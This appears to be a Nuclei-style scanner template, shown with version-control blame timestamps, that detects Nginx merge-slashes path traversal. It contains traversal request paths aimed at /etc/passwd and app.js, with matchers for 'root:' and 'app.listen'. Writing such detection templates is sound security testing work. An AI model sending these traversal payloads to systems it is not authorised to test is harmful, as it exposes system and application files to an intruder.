2021-07-21 08:16:40 +00:00
|
|
|
id: nginx-merge-slashes-path-traversal
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Nginx Merge Slashes Path Traversal
|
|
|
|
author: dhiyaneshDk
|
|
|
|
severity: medium
|
|
|
|
reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
|
|
|
|
tags: exposure,config
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}//////../../../etc/passwd"
|
|
|
|
- "{{BaseURL}}/static//////../../../../etc/passwd"
|
|
|
|
- "{{BaseURL}}///../app.js"
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "root:"
|
|
|
|
- "app.listen"
|
|
|
|
part: body
|
2021-07-23 18:54:37 +00:00
|
|
|
condition: or
|
|
|
|
|
2021-07-21 08:16:40 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|